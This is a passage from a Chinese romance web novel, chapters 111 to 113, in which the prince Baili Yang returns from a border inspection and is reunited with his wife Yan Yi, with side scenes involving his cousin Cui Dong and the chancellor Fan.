百里漾将这封信看了又看,最后恋恋不舍地将信小心妥帖地收到一个红漆木盒子里,内里垫了软衬,数一数一共有七封信了,这些都是这几个月颜漪从江都给他写来的信。将信放好之后,百里漾将目光投向了一道捎来的小物件——一盒脂膏。 这不是王妃第一次送来这物什了,头一次送来的时候已在信中写道“边境风沙大、风霜似刀剑,唯愿此物稍解烦忧”。 第一次看到这脂膏的时候,百里漾愣了两下,随后找出一面铜镜端详自己的脸。边境条件恶劣,冬季之前风沙大,遇到风大的时候不注意就容易吃一嘴的沙子;入冬之后则是严寒无比,风霜似刀剑绝非虚言。这人要是在这里待久了,确实很容易变糙汉的。 边境取水不已,多数时候只能保证日常饮用,洗澡什么的就别想太多了,一月不洗乃至三月不洗都是很有可能发生的,否则也不会专门诞生有洗澡假这类的休沐日了。军营里条件简陋,百里漾也不好搞特权天天洗,于是也就半个月洗一次。 在这样的环境以及生活条件下,加上如今又是寒冷的冬日,军营里都是一群“不拘小节”的糙汉子。一些懒得搭理自己的兵将更是满脸粗犷的胡子,都不知道他们多少天没有净面了,被风雪一扑脸,半张脸都是结冰的“白”胡子。 没见崔栋都变糙了么?- 作者有话说:更新了,大家能给我点评论么?有点互动也好的啊。 第112章 回去 在周围都是一群糙汉的环境里, 百里漾自己很难不日渐变糙。但不行,固然今世变成了男人,他也不能日渐“堕落”。 无论什么时候, 护肤也是一件相当重要的事情。 原先在来边境之前,百里漾对这里的气候环境做过一定的了解,炎热时黄沙漫天,寒冷时则堪比冰天雪地,也就春秋两季稍微温和凉爽些, 但这时候又很容易遭受北边离渊的突然袭击, 离渊人也挑气候舒适的时候来劫掠, 也是很烦人的。 百里漾过来时是深秋,没过多久就入冬了。毫不夸张地说, 现在百里漾跑去大帐外被呼啸的冷风一吹,那脸上以及其他裸露出来的皮肤感觉到的除了冷、僵之外, 还有就是一股被钢刀刮蹭钝痛感。冬至之前,这份严寒会持续加剧直至冬至达到顶峰, 但顶峰一过, 天气就会朝着转暖的方向变化。 这种天气之下, 免不了有人被冻伤,严重点的甚至皮肤都皲裂了。百里漾此前已经叫人又采购了一批冻伤膏回来。他因为年轻力壮外加长年习武倒是没有被冻伤,但脸上的皮肤确实糙了不少,自己摸着手感都跟以前不太一样了。 这怎么能行,难道回去之后要让王妃看到一个糙糙的自己么?哪怕王妃不嫌弃,自己也要嫌弃好么。何况,他怎么舍得委屈王妃。 百里漾来边境之前是有带一些防止冻伤以及保养的脂膏过来的,但他错估了这边风霜的威力,带来的脂膏根本不够用。就在脂膏即将告罄的时候, 他收到了来自颜漪的信以及一份小礼物——脂膏。他至今依然记得自己打开盒子看见其内是脂膏时那一瞬间的愣怔以及微囧,但所有的一切都被很快涌上来的欢喜全数淹没了。他随后给颜漪回了一封信,上面含蓄地表达了自己对这份小礼物的喜欢。 从那以后,百里漾就美滋滋地用起了王妃给他捎来的脂膏。不知道是不是心有灵犀,每次百里漾的脂膏快要用完了,江都那边都能来信,也同样捎带了一盒脂膏过来。 如今百里漾手里仅剩的这盒脂膏余量也就只够几日的用量了,然而这次颜漪捎信过来却没有再随带着捎来一盒新的脂膏。 百里漾心想,她知道我要回去了。 回去,回去就能够见到王妃了。 这念头一起,百里漾心中便立时生了一股迫切感,恨不得能给自己插上瞬息万里的翅膀下一个瞬间便出现在王妃的面前。他们有好几月没有见到了,不知道王妃这些日子过得好不好,江都之中是否有哪个不长眼的与她过不去、使她为难或是受委屈了? 这些百里漾都不得而知,只因颜漪在心中从来都是报喜不报忧,她若真遇到了难处也不会写信来报与他知晓使他忧心的。王妃毕竟是初来江都不久,许多人和事他都没有带着她完全认清熟悉了,他们就不得不暂且分开了。他不在江都镇着,万一有人觉得新王妃是个好欺负的或是倚仗自己不怎么样的身份地位想要拿捏王妃而搞事,使王妃劳神烦心怎么办? 百里漾越想就越觉得忧心不已,夜里都有些辗转反侧了,甚至半夜腾然坐起。 他想王妃了,真的很想很想。 如今边境的事情已然了结,眼看着马上就要冬至了。他是时候该回去了。 来时近十月,回时是腊月中。 也就是说百里漾在边境待了两月余的时间。在这两月余的时间里,边境因为贪墨、篡改军功等事被处置了一批将官,上至镇城守将、营将,下至普通的士卒都有受到惩处。如此大的变动不仅仅只是边境范围内受到震动,连江都境内都受到了不小的波及。毕竟,那些被处置的营将、校尉们背后牵扯的可有不少都是本地的权贵大族。 但再大的风波也终有平息的时候,边境局面已定,褚氏独大的局面已经被打破,永定大营认清了他们真正的统帅是江都的王,这便已达到百里漾此行的目的了。 事已圆满,合该返程。 腊月初□□雪暂歇,天光难得暖融,道路上的积雪化开,百里漾等人在褚之邑率众恭送下启程返回江都郡城。来时多少人,回时亦如此。但来时与回时的心境到底是不同的。随行之人中除了侍卫甲士还有不少如同傅殷这样的官吏,不少人在边境这样的“苦寒之地”待了两月余,日夜盼着何时回去看,如今返程可谓是归心似箭。 那种地方真不是能待久的。水没有水,吃食一般,饮酒几近禁绝;每次出门不是风沙扑脸便是寒刀刮骨,人都要冻僵了。一些人哪受过这样的苦,可是大王自己都身在此处,他们即使心有不满嫌弃也只能憋在心里或是私底下说几句,可不敢让人知晓。 如他们这般心思的人有,但更多的是随大王巡视边境肃清地方的志得意满与春风得意。他们此次立功而返,待回到江都郡城之后必有拔擢,少说也要官升一级。带着这样喜悦的心情返程,想到不过三五日之后便能回家见到家人,让这样的欢喜因为思念而多了几分迫切。 因为无需赶路,回程没有去时那般赶,大家的心情免不了染上了几分松快之意。即便偶有风雪,往回走的马蹄却是无比轻快的。大家在路上免不了说说笑笑,谈及回郡城之后可能迎来的升迁时,许多人的目光都不约而同地投向了不远处的傅殷。 谁都知道此次边境之行之后,这位年轻的傅提刑怕是要一步登天了。在永定大营时,谁也没有想到傅殷会在这次的风波里立了这么大的功,甚至后面大王还让他负责远宁城后续的状告抚民事宜,这是何等的倚重和信任。 毫无疑问,傅殷分明是入了大王的眼了。待了回郡城之后,还不知道要如何受重用,将被授予何等官职。但不管怎么样,很大可能从此之后他们就是两路人了。 这些人不由羡慕起了傅殷的好运道。 可不就是好运道么?一介布衣平民不仅得进不少人挤破头都进不去的郡国学进修,还在郡国学之中得到了范国相的青眼。授官入仕之后还被范国相引荐到大王跟前,从而让大王记下了他的名字。否则这次大王带了那么多的人为何偏偏就对他傅殷一个委以重任? 不管文官还是武将想要晋升,最名正言顺、无可挑剔的途径就是“功劳”,无功不受禄,理应如此。文官升迁依靠治民的政绩,武将则是卫国杀敌的战功。可功劳不是那么容易立下的,不仅要有足以立下功劳的能力,还要获得去立功的机会。 机会从何而来? 除了因缘际会以及机缘巧合碰上并精准握住,更多的则是来源于上位者的赐予。他看到了你,记住了你,在某个时候想起你这么个人来,觉得你堪用,机会就会给到你手里。宦海沉浮,不进则退,谁不想得到上峰乃至是君王的赏识和重用,从此一路高升,位极人臣。 但可惜了,人之所以渴望一件事物是因为他得不到,越是得不到就越是渴求。而因为求而不得就会对得到之人产生羡慕乃至是嫉妒的心理。尤其是这个人还是平日里他们不怎么看得上的布衣出身,这让那些出身优越却得不到拔擢之人心气如何能平? 可再如何心气不平也只是他们自己的事情,这种人注定与傅殷不是一路人。既不是一路人,那傅殷又何必去管他们如何想。他此时无意与这些人有太多的交流,只面子上过得去就足够了。此刻他更多的是即将回家的喜悦,就连这段时日几乎日夜不停歇处理远宁城后续事宜带来的身体的疲累及沉重都暂时被遗忘了。 如今诸事已毕,傅殷别无烦忧,唯有挂念家中母亲是否安好,眼下几乎是归心似箭。他扫了一眼周围之人皆是眉眼舒展,脸上洋溢着归家的喜悦。 回家,眼下再没有比这更令人欢喜之事了。 “离家两月余,别说,还真的挺想念家里的。”崔栋单手拽着缰绳,骑马优哉游哉地跟随在百里漾身边,只落后了三分之一马身的距离。他也不怕百里漾笑话,说着说着反倒自己笑起来了,“若是入湛京之前的我怕是打死也不会相信自己会变成这样。” 这样,是哪样呢? 从前经常三五日不着家、眠花宿柳、坚持独身主义死活不愿意成亲的浪荡公子哥在成亲之后不仅“从良”还变得有点恋家,这转变令人看了实在是有些惊奇的。 “都说先成家后立业,这句话虽然不能适用于所有人,但放在你身上却很合适,果然是知子莫若母啊,舅母很了解你呢。”百里漾看着坦诚自己变化的崔栋笑道。 说实话,把时间拨回到前往湛京之前百里漾也不会相信崔栋会有如今的变化。老实说,他那段时间看对于成亲之事颇为抗拒的崔栋还担心这货破罐子子破摔不干了或者是成婚之后依旧我行我素、让妻子独守空闺。这样真的很不好,不用想都知道崔栋怕是会被舅父抽成陀螺了。 可能是因为继崔栋成亲之后百里漾也要迎来自己的婚仪,对未来婚姻生活的未知的担忧让他那一阵子着实是多思多虑、愁肠百结了些。他与崔栋是从小一道长大的表兄弟,崔栋是何性情他是清楚的,虽然有时候看着是不着调了一点,但大事上还是很靠得住的。崔栋是有责任感之人,也是因此“先成家后立业”这句话放在他身上才会适用。 此世不比百里漾的前世,成亲的意义着实重大,尤其是对女子而言。一段婚姻若是不顺随,女子承受的代价与痛苦总是要多于婚姻之中的男子的。固然这一世的风气较之前的朝代开放许多,女子丧夫、和离之后皆可再嫁,可不论对错也总是免不了一些恶意的看待与评论。 崔栋与卢氏是典型的政治联姻,他们的婚姻可以说是代表了同为武将出身的大将军府与卢家的阵线联合,至少在世人眼中是如此。也正是因为如此,这段婚姻牵扯过多,想要解除是很难的,因为解除的后果是需要两家来共同承受了,而不是仅限于婚姻中的男女两方。 崔栋若真要是在成亲之后依旧不改之前的作风,作为妻子的卢氏受委屈是必然的。丈夫流连外面的花花世界,只将家作为一个临时歇脚旅店,这样的婚姻注定是扭曲的,它要维系下去只能是依靠另一方的隐忍与委曲求全。 那样的生活光是想想就令人窒息。 好在崔栋不是那样的人,他有责任心,向来都分得清楚自己肩上承担的的责任是什么,如今更是与卢氏夫妻恩爱和睦,真是令人欣慰。 “你能这么想当真是长大了,舅舅舅母在湛京也可放心。”归家总是令人心情愉悦,百里漾故作老成地打趣起崔栋来,“我瞧着也颇是欣慰。” “……”崔栋无语。 他想起了他们的幼时,身为弟弟的百里漾时常表现出一种不符合年纪的沉稳懂事来,每当自己要做什么捣蛋事时,百里漾圆润可爱的脸蛋上总是将两条眉毛紧紧皱起显出一种无言的不赞同来,一本正经地同他说后果,“你这样不好,回去要被舅父提起来揍屁股的。” 是的,揍屁股。 崔大将军是打孩子的,他信奉“棍棒底下出孝子”这一教子之理,但凡年幼的崔栋做错事,首先迎接的就是来自父亲“沉甸甸且充满了力量的父爱”。崔大将军大孩子专挑屁股打,那里的肉厚,打了让崔栋既知道痛又不会真的伤到。等崔栋捂着屁股哭唧唧的时候就迎来了李氏一边涂药一边说教式的教育。夫妻俩这么多年都是这么配合过来的。 但是,这关百里漾什么事? 当然关的。因为那会儿百里漾与崔栋作为年岁相当的表兄弟,崔栋很理所应当地成为百里漾的伴读,两个人成天凑在一块,少不了静不下心读书的崔栋撺掇着百里漾去干“坏事”。崔栋正准备去干呢,小表弟就拧着两条眉毛“教训”他,表现出一副大人的沉稳来,很多次都让他怀疑到底谁是哥哥、谁才是弟弟。 作为要拉着五皇子逃课去调皮捣蛋的小鬼,不管百里漾应没有应他之邀、事情做没做成,崔栋最后都是要被收拾的。可无论回家后屁股会被亲爹揍得多肿,下一次他都能乐此不疲地继续邀请百里漾去干“坏事”,完全是记吃不记打。 “不说这些了。”崔栋并不想回忆这些“悲伤”往事,他手执马鞭一指远方,那是江都郡城所在的方向,再次开启了与百里漾的一场新的比试,“还有三十里,我们比比,看谁最先抵达城门下。” “好,就比谁先到城门下。” 然而百里漾话还没有说完,落后于他半步的崔栋一马当先直接奔了出去,马蹄子后蹬扬起来的积雪撒到半空又掉落在显露出来的草叶上,再次将它们掩藏。 百里漾脑海里一瞬间有一万只草泥马奔腾而过。 靠,这货又是这样。 百里漾心里骂骂咧咧,却不得不一扬马鞭拍马朝崔栋追去。 两人突然的策马奔驰带动了身边的侍卫亲军一齐而动,数百上前的马蹄奔腾在极快的时间内将脚下的雪地“清扫”出了一条露出泥土的道路。这里本来就是官道,只不过是被白雪覆盖掩去了原本的模样。 如此大的动静自然惊了随行的官吏们,初始还以为发生了什么不好的事情。山匪劫道?不可能,且不说江都郡城附近早就被荡清了匪祸,他们的这一支队伍可是为了保护江都王而出动的侍卫亲军之中的精锐,足足数百人,真有匪人也不至于这么不长眼,活腻歪了才会选择挑衅这么一支精锐之师自找死路么? 但他们确实看到了数百骑兵奔腾而出的壮观景象,不免疑心是否发生了什么大事,转头一打听才知道原委,顿时有点淡淡的无语。不过那到底是上位者,他们也不少真的说什么。 三十里的路程,快马加鞭之下约莫需要花费将近两个时辰,可百里漾与崔栋骑的都是千里挑一甚至万里挑一的良驹,这个时间还要再缩短。 不过这场比试百里漾最后还是输了。 “你就是为这东西停下了?”勒马驻足在城门前,崔栋看着牵马而来、手里却捧着一大捧在这冬日里也盛开得鲜艳绚烂的花束的百里漾,不用想也知道这捧花是要送给谁的。 “路上见它们开得好。”百里漾面上是如水般温柔的笑容,纵然只是浅浅的,只在他的眼睛中漾开了一点波纹,可那弯起的弧度是如此的温暖。 冬日本就是草木凋零的季节,但在这也并非冰天雪地之中也并非生机断绝、寸草不生、无花盛开。百里漾于奔驰驱策间余光偶然一瞥见到了这盛开于路边的一从烂漫的山花,他不自觉地被吸引,放弃了与崔栋的比试,折返回来去采摘这一束于冬日盛开的山花。 在看到那一从烂漫山花的那一刻,百里漾的脑海里油然冒出来的想法就是摘下它们送给颜漪。身随心动,等百里漾反应过来,他已经手捧花束了。 崔栋看百里漾一脸温暖柔软不输手中花束灿烂的笑容,顿时不知道说什么好了。他虽没有如同百里漾这样对妻子如此喜爱,但早年流连于花丛的他又如何分辨不出来一份喜爱的真假。他只得在心中叹气,那位江都王妃是真的很得江都王的喜爱了。 但这样,不知道是福还是祸? 不过,以目前来说,夫妻恩爱和睦对于百里漾、对于他们都是一件好事。 巡视边境两月余并以雷霆手段处置了一群包括高级将领在内的永定大营以及远宁城官员的大王要回江都,且已经在路上了,然而江都这边的官员直至大王出发了两日才受到消息。 王上出巡回返,有不迎之理?然而却来不及了,他们再次收到消息的时候,大王已经距离江都郡城不过三十里了。一群人连忙去找范国相拿主意,吵吵闹闹,甚至有言语间暗戳戳质疑范国相已经事先得到了消息而不告知他们的。 “诸位稍安勿躁。”范国相只能安抚了这群人,“本相亦是不久前才收到大王即将抵达的消息,并不比诸位提早知道多少。大王不提前传讯我等,亦是不想诸位因此劳师动众,亦不会因此责怪,诸位还有什么担忧的呢?” 正是因为担忧所以才找上门来的,可他们的担忧是可以宣之于口的么?老东西,你说你没有提前知道大王回程的消息,你猜我们信不信。 大王回江都不告诉他们,若是平时就罢了,可如今的大王可是去边境一趟杀了个人头滚滚才回来的,又在这个时候无声无息地回来了。你说他们能不慌么?他们可不会觉得大王在边境杀了一批人后事情就结束了。结束了当然最好,但他们怕的可不就是没有结束么。 权贵世家本来就是一张网,以人为基础通过各种关系联结在一起的。处在这张网上,你以为你与他没有关系,实则弯弯绕绕隔着好几个人就能勾连出关系来,所谓“一表三千里”某种意义上也是这种关系的写照,即便血脉已远,但到底曾经是出自同一个祖宗的,不是么?但仅仅只是这样的关系并算不得什么,即便是权贵人家谁还没有几个穷亲戚。 这些人怕的是这个么?显然不是。 “阿爹,他们如此着急忙慌地来寻您探听消息,看来那些在边境滚落人头之人背后还真与他们有勾连。”送走了那些人,范国相长子回来说道。 “他们是怕被回来后的大王清算。”范国相冷哼一声,“若不是参与其中了,此刻何必如此着急忙慌。来人的名字都记下来没有?” 长子回道:“记下了。” 范国相:“如此甚好,待面见大王时我便呈交上去。” 他还能不知道这些来急吼吼地来是想干什么。这些人看似因边境之事而惊惧交加慌了神智,但其中未免没有藏得更深之人扔出来探路的石子。但不管怎么样,有动作就说明背后之人不是不慌的,有迹便可寻,不怕揪不出人来。 “大王眼下也该到郡城了吧?” “已入城门,正由随行的侍卫亲军护送入王宫。” “甚好。”范国相此刻就犹如寻常百姓家再慈和不过的长者捻须笑得一脸的慈祥,“大王不愿我等官员出城迎接怕也是嫌弃我等碍事了,他更想直接见到之人莫过于王妃了。也好也好,到底是年轻人,久别胜新婚,自然眼中容不下其余人。” “也不知道何时王妃能诞下王子?”范国相疑问感慨中带着憧憬。 长子:“……” 外人怕是很难想象一直以老成持重端方示人的范国相私底下会是这么一副模样。作为长子,这些年他一直侍奉跟随江都王就藩的父亲身旁,实在了解父亲对大王是怎样的一派忠心赤诚。大王没有成亲前焦心湛京那边何时能给大王定下王妃成婚,大王成婚之后则担心夫妻会否不合,如今开始着急王子何时能降生。 范国相虽然不说,但是长子知道他内心恨不得王妃马上就能诞下子嗣。问题是,这种事情是能着急来的么?即便是孵小鸡崽子也要先下蛋再孵蛋,少说也要半个月。不,不能这样想。怎么能用孵小鸡崽子作形容。那是不敬君王。 长子内心反省自我后,面色恢复了以往的稳重,“阿爹,到喝药的时辰了。” 此时正好负责熬药的婢女将汤药奉上,长子便搀扶着父亲坐下,亲自侍奉汤药。 说是汤药并非是因为范国相病了,只是一些江都王赐下的补身保养的药材所熬制而成的补品。范国相毕竟上了年纪,人的年纪一旦上去,身体的各项机能都不比年轻时,会比以往更加“脆弱”,加上范国相随行就封以来劳心劳力、竭诚奉公,大病没有小病却是不断。即便是小病对于一个上了年纪的老人来说也是有伤害的。 范国相对百里漾有辅佐之功,百里漾就封至今能够逐步掌控江都的权力,范国相功不可没。而即便刨除了这些,他也实在是一位可以信赖的慈和长辈,百里漾自然是不愿意他身体出了问题的,也希望他日后退休能够荣养安享百年。 …… 大王回宫,王宫宫门大开,使得这位江都之主可以驾马长驱直入。 “王妃,大王回宫!”初禾万分欣喜地向颜漪来报。 “已至何处?”颜漪自座上而起,一双满载秋水的眼眸中闪现出惊喜之色,她边说着边往殿门走去。事先并无传来百里漾回来的消息,此时大礼迎接已然是来不及了,但她就是想去迎他,更为了能够更快一些见到他。 时间就是这么巧,当颜漪方跨出殿门时,迎面百里漾便向她走来。他是一个人朝她走来的,背对着此刻天边橘红的霞色,眼里有光,唇角微扬,不可忽视的是他手中捧了一束开得烂漫的鲜花,绿叶鲜嫩,衬托花朵的娇美,在眼下这片霜色的世界里端是鲜亮无比。 颜漪有一瞬间的发愣,不知是为这捧鲜花还是为捧着鲜花的人。她回过神来时百里漾已至她跟前了,急忙要行礼,却被百里漾伸手托住手臂阻止了她的下摆,两人的目光对视。 百里漾看着这张在这两月余曾在自己梦中出现过好多次的面容,如今人就在自己眼前,那些过去的思念尽数化为安然,眼里的笑意化为璀璨的光,将手中的花束往前递,不知怎么的突然有些嘴笨舌拙,“回程路上所见,虽、虽是杂花,却是一抹亮色,摘来送予王妃。” 他面上维持住了身为江都王一贯的镇定沉稳,但此刻内心难免有些忐忑与后悔。当时骑马乘风却是被偶然一瞥见的这一抹亮色惊艳,油然而生出的想法便是摘下回来送给王妃,但现在看来这捧花无非就是颜色鲜亮了些,却不是什么叫得出名字的名贵花草,不过是路边随处可见的野花野草。如今采摘来送人,也不知道王妃是否会嫌弃? 很快百里漾就发现他的担心是多余的。因为颜漪接过了他递过来的花束,面容上绽开了笑容,竟是比手中的那捧鲜花还要令人夺目灿烂,“多谢大王,我很欢喜。” 她说的是“欢喜”,不只是喜欢百里漾送给她的这捧花,更是欢喜于百里漾送花给她的心意,也是欢喜于百里漾的归来。 “喜欢、喜欢就好。”百里漾看着颜漪明亮的眼眸,憨憨笑了,并没有注意到颜漪说的是“欢喜”而不仅仅只是喜欢。 “大王一路辛苦,且先进殿歇息。”颜漪说道。 两人站在殿门前,所有的目光都集中在他们身上,一直站在这里说话也不好看。况且百里漾从边境返程必是一路风尘,还是入殿沐浴更衣为好。 “好,我们进去。”百里漾自无不可。 大王回宫,整座王宫因为百里漾的回归而动了起来,最主要的是长乐殿与永延殿。因为百里漾一入宫门就直奔永延殿而来,柳姑姑便吩咐人将他的衣物送往永延殿去,又吩咐了一些事宜,在永延殿拜见百里漾后便告退了。 正如范国相所言,小两口小别胜新婚,他们这些“闲杂人等”还是不要打扰小夫妻团聚了。王宫里不乏有眼见识趣的人,在准备好沐浴、膳食等事项之后,永延殿之中只留下了几个侍女在周围隔着一段距离立着等候吩咐。 “大王先沐浴更衣还是先用膳?”颜漪问道。 “唔,先沐浴吧。”百里漾嗅了嗅自己因为一路风尘显得灰扑扑、脏兮兮还有点味道的衣服,果断选择了先沐浴更衣。若是一身臭烘烘的坐在王妃对面用膳,莫说王妃嫌不嫌弃,就是他自己都要嫌弃自己了。 浴池宽敞,热汤注入,空间里充盈着热腾腾的白色蒸气。百里漾身体浸入温热的水里,只露出一个头来,任由无处不在的水浸润身体的每一处毛孔,舒服地发出一声叹息。 之前在永定大营的时候因为是冬季,加上那边取水不易,百里漾几乎是半月洗一次澡。当然,身为江都王,若是百里漾想要频繁地洗澡也不是不行,但他并不想劳师动众以及显得自己特殊,所以并没有这么做。 这样造成的结果就是百里漾洗完没两日就觉得自己臭了。这也是没有办法的事情,男子的身体本来就出汗大,加上他又是在军营里,有时候操练也是跟着将士们一起的,一结束后整个人就一身的大汗淋漓。军营简陋,不能洗澡也不能由着汗水自己干,只能用热水擦擦身。但这无疑是不能替代洗澡的舒适的。 背靠在浴池壁上,百里漾舒舒服服地泡了一回澡之后,想着王妃还在等他用膳,况且泡久了也头晕。他起身拿过浴池边放好的衣物穿上后去寻颜漪去了。 “大王。”颜漪已在膳桌边候着等百里漾过来一道用膳。 百里漾止住了她起身欲迎的动作,又看了一眼桌面上的菜色,见大部分都是他喜欢的,不用想就知道是王妃吩咐的,心里很是高兴但也不忘说,“不必只顾我,也叫厨房上些你喜欢的菜品。”随后他转头对初禾报了几道菜名出来,让她去吩咐厨房做。 初禾微微有些讶异,因为这些菜名确实都是王妃喜欢吃的,大王能够准确无误地报出来,可见平日里有留心过王妃的饮食。她眼里的笑意深了些,见王妃没有不同意,当即领命去办了。 今日大王回宫,王宫各处都打起精神候着,若是大王王妃有吩咐他们便立即能去办。初禾带着命令去到厨房,大厨们立即开火,一群人有条不紊地忙碌着,没过多久就将新鲜出炉的菜品送到了永延殿。 时隔两月余,百里漾终于再次与颜漪一道坐在一起用膳了。 一般用膳两人不怎么说话,只是很有默契地给彼此夹菜吃。这次也是如此,看着对面的王妃安安静静地用膳,即便不说话,百里漾心中却有一道温情脉脉在流淌,享受着一种岁月安然的感觉。哪怕进食的速度慢下来,但却是胃口大开,饭菜都无比的美味。 这里不是永定大营。在永定大营之中凡事几乎都讲求一个效率,甚至连吃饭都是快速的。毕竟军营之中吃的是大锅饭,动作不快可能吃都没得吃饱。当然也不至于谁都来抢江都王的饭吃,只是氛围能够影响人,加上军营里事务繁多,忙起来的时候更是只求快速吃饱好继续办事。这种时候即便饭菜再美味可口囫囵吞枣下去也没啥滋味。 百里漾巡视边境等同于出差,在外一切自然不能比在王宫之中。以往也不是没有出门许多日的时候,但如这回这般想回来的念头如此急切还是头一遭。其中缘由自然是因为…… 百里漾看了一眼颜漪,只觉得“我媳妇真是哪哪都好看”,她还是自己妻子,光是这么一想心中就充满了满足与愉悦。 颜漪不知道百里漾心里所想,只是察觉到百里漾在频频看她,一开始还不觉得有什么,但被看的多了,她也不免有些羞涩。 饭食毕,侍女们将膳桌撤走,初禾上前给二人沏了一杯香茗。一般的茶饮多了夜间容易睡不着觉,他们喝的是兑了果汁的,换个名称可以叫果茶。 “我不在时,宫中一切可好,江都一切可好?”喝了一口茶,百里漾不错眼地看向颜漪问道。其实他更想直接问的是“王妃可好”,张了张嘴却没有说出口。 第113章 剖白 “国中政务有赖国相劳心操持, 一切安稳;宫中一应事宜也有柳姑姑相助,诸事无虞。请大王放心。”颜漪手捧着一盏香茗,朝百里漾看来的目光澄净无暇, 自带一股安然舒心,眼角的弧度微微向上弯起如新月,眸中清波更似一泓深水,仿若能令人深溺其中。 百里漾出行巡视边境,自是要令人暂时替代他的位子留守江都, 相当于监国。以前都是范国相担任, 此次他将此重任交给了颜漪, 范国相从旁辅佐。这位置权重责任也重,即便是有范国相辅助, 也必然是劳心累人,更何况还有王宫之中的事务需要操持。 颜漪不说自己的辛劳, 而是将功劳归功于范国相与柳姑姑,这是何等的谦虚。百里漾自己处理过那些事务, 知道有多繁琐劳神, 其中必然辛苦, 看向颜漪的目光中不自觉多了几分怜爱与喜欢,声线也是轻柔的,“国相与柳姑姑辅佐有功,我已知晓。王妃亦是辛劳,幸得王妃,我在外可无后顾之忧。” 百里漾突然如此郑重其事的夸赞令颜漪有些微的不适与不好意思,颜漪眼眸低垂,一时间有些不敢直视他真诚的目光,自己在他眼中竟是如此的好。得百里漾如此信赖与爱重, 她心中触动,重新对上百里漾的目光,正待说些什么,百里漾却是先动了。 百里漾久不见王妃,如今人就在自己眼前了,总想离她近些、再近些。他告诉自己,他们都是夫妻了,连最亲密的事情都做过了,日常相处再亲密些也是无妨的。他起身离开自己的位席,挨到了颜漪身边,两人之间的距离瞬间只剩下了半臂之远。 初禾等在殿内伺候之人见状似有羞涩,忙垂首退下了。 “国中、宫中一切安好,你呢?七娘还没有告诉我自己可安好,国中可有刁缠之人与你为难?若有,你告诉我,我替你去收拾他们。”一番话百里漾说得极为豪气干云,说着他更是握住了颜漪柔弱无骨的手,好似要把力量传递给她一般。 他凑得近了,感觉自己霎时间被颜漪身上散发出来的芳香包裹了。他一直觉得王妃身上的味道很好闻,虽然很大概率是因为她用了熏香,可是自己私底下也偷偷用过相同的熏香,效果却不如王妃的好。他只能归结于体质有异,毕竟他如今只是一个泥做的糙汉子。虽然难免有些遗憾和嫌弃自己,但是王妃香香哒他也能生出一股与荣有焉的自豪感。 不知为何百里漾总觉得自己会在他看不见的地方被人欺负了去。颜漪生出些许无奈的同时也为百里漾对她的这份维护感到欣然,但也不免好奇道:“大王觉得何人能欺负我?妾身可是大王之妻,玉牒正名的江都王妃,不看僧面亦看佛面,何人敢欺我?” 她能这么说就是无人欺负的。百里漾松了一口气的同时也解释道:“江都总有些刁缠之人自觉有倚仗之势喜欢指手画脚、与你对着干。我初至江都时气焰最为嚣张,说一句能顶回来十句,想做什么都有万般阻力,实在叫人厌烦。不过现在好多了,他们再敢聒噪,便一个个将他们收拾了去。” 他说这话时眉尾上翘,目光凌厉,显出别样的神采飞扬来。可见是极有自信收拾那些人为她出气的。 “有大王在,自是无人敢欺负我的。”颜漪轻轻回握了百里漾的手,嫣然笑道。 其实并不难想象百里漾初初就封江都时遭到了本地权贵世族怎样的为难。新王年少,难免会有人倚老卖老、倚仗家世通过欺负他来达到拿捏他的目的,何况江都本地大族向来以褚氏为首,地头蛇做久了,褚氏自然不愿意让新王凌驾顶上、真正掌控江都的权力。这些年褚氏等必然没有少给百里漾使绊子、使他难做,百里漾的处境一开始不能说是艰难,但想要做什么困难重重是必然的。 但这些百里漾都挺过来了,在范国相等人的辅佐之下逐步收拢了自己的权力,打压分化江都本地的权贵世族,到如今可以说是真正掌控了江都,可以说是很厉害了。 尤其是这次从边境回来之后,江都之内不知道有多少人心有戚戚然,缩着脑袋不敢冒头尚且来不及,哪里还敢出来生事。但他们缩着不冒头了,可不代表百里漾就愿意放过他们了。 “此风不可长,必要以雷霆手段震慑宵小,使他们不敢再犯。”百里漾与颜漪大致说了一下永定大营与远宁城的情况,他们是夫妻,是一体的,他要做什么总要与她说的。 “边境离江都总归是远了些。”颜漪言简意赅说道。 从江都至边境,哪怕快马加鞭也还有三日的行程。真有什么事情,三日的时间也足够改变许多事情了,也足以抹掉一些痕迹。 “说到底还是褚氏坏事。”即便是已经在边境杀过一次人头滚滚了,百里漾如今依旧还是很生气,“军纪不彰,赏罚不明,这样的军队如何能够打胜仗。他日离渊来犯,如何抵挡敌人的来势汹汹。” 亏他还以为褚氏虽然与他立场不合,但褚之邑这个定襄将军统领永定大营多年不出大错还挡住了离渊上一次的来犯,大局立得住也算是能将,结果只是将私心藏得深罢了。眼下永定大营没有出大乱子还是万幸,但任由他们再这么胡搞下去,迟早要坏事。 眼看着百里漾如此气呼呼,颜漪只好给他顺毛,“幸得大王英明神武,洞察秋毫,让宵小无所遁形,还边境一片清明。” “我也没有这么厉害,更多的时候是傅殷他们在用心办事。”百里漾听得王妃这么真诚地夸他,颇觉不好意思,面皮有些微发热,自己并没有她夸赞的那么好。明明他这一世因为身份的原因听过的马屁以及阿谀奉承之语不知凡几,按理来说应该是有抗性的,但在王妃面前他建立起的防御墙好似很轻易的酒倒塌了。 颜漪道:“大王有识人之明,使贤良之士各得其位、各展其长。” 贤明之主当如是。颜漪觉得百里漾在这一点上已经做得很是不错了。可当她这么说的时候,百里漾的反应却是有趣极了,像是一个受了夸奖的孩童,有羞涩却也骄傲,嘴上谦虚表示自己没有那般好却把头昂得高高的,一双亮晶晶的眼睛中透出期待,期待你能再夸夸他。 既然如此,她自然是从善如流了。 喝了一盏安神的香茗,边喝边叙话,等结束时已经到了就寝的时间了。百里漾其实还不想睡觉,他许久不见王妃了总觉着有说不完的话想对她说(两月余两人书信没少往来,但书信终究浅薄有限),仅仅是多看王妃几眼总是好的。 颜漪却想着他返程奔波辛苦,哪怕眼下看着精神奕奕身体实则是疲乏的,劝他早些休息,来日方长。她口中的“来日方长”说服了百里漾,将近处的烛火吹灭后,两人很快躺到了榻上。 这时候已经很冷了,外面寒风凛冽,冻得人直打抖,但殿内有地暖,哪怕四周开了几扇窗通风,可内殿深深,又隔着好几扇屏风,风难以长驱直入,寒意消融。离得远些掌有几盏烛火,使得殿内并非全然的黑暗。 两人并着躺在床榻上,盖着同一张被褥,距离很近,不到半臂。这般距离之下,百里漾稍微扭头就能看到颜漪朦胧的脸部轮廓,弧度仿若也是被精心描摹过的,勾勒出极致漂亮的侧颜。他静静看着,静谧的夜里只有隐隐呼啸的风声以及彼此浅浅的呼吸声。 